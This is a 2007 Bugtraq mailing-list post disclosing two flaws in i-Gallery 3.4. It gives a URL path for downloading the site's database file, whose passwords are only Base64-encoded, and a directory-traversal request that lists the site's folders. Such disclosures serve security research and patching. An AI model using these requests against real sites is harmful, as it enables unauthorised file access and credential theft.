Bugtraq mailing list archives

i-Gallery 3.4 bug crack password!


From: hackerbinhphuoc () yahoo com
Date: 23 Oct 2007 07:14:05 -0000

we can find file mdb of i-Gallery by link:
http://www.hkp.com/igallery/database/igallery.mdb
and can crack password on file igallery.mdb! because password is Base64!
--------------------
with link :
http://www.hkp.com/gallery/igallery.asp?d=%5c../../%5c
we can view file on folder of site!
--------------------
hackerbinhphuoc (VHS) Vietnam
http://www.vnsecurity.com


Current thread: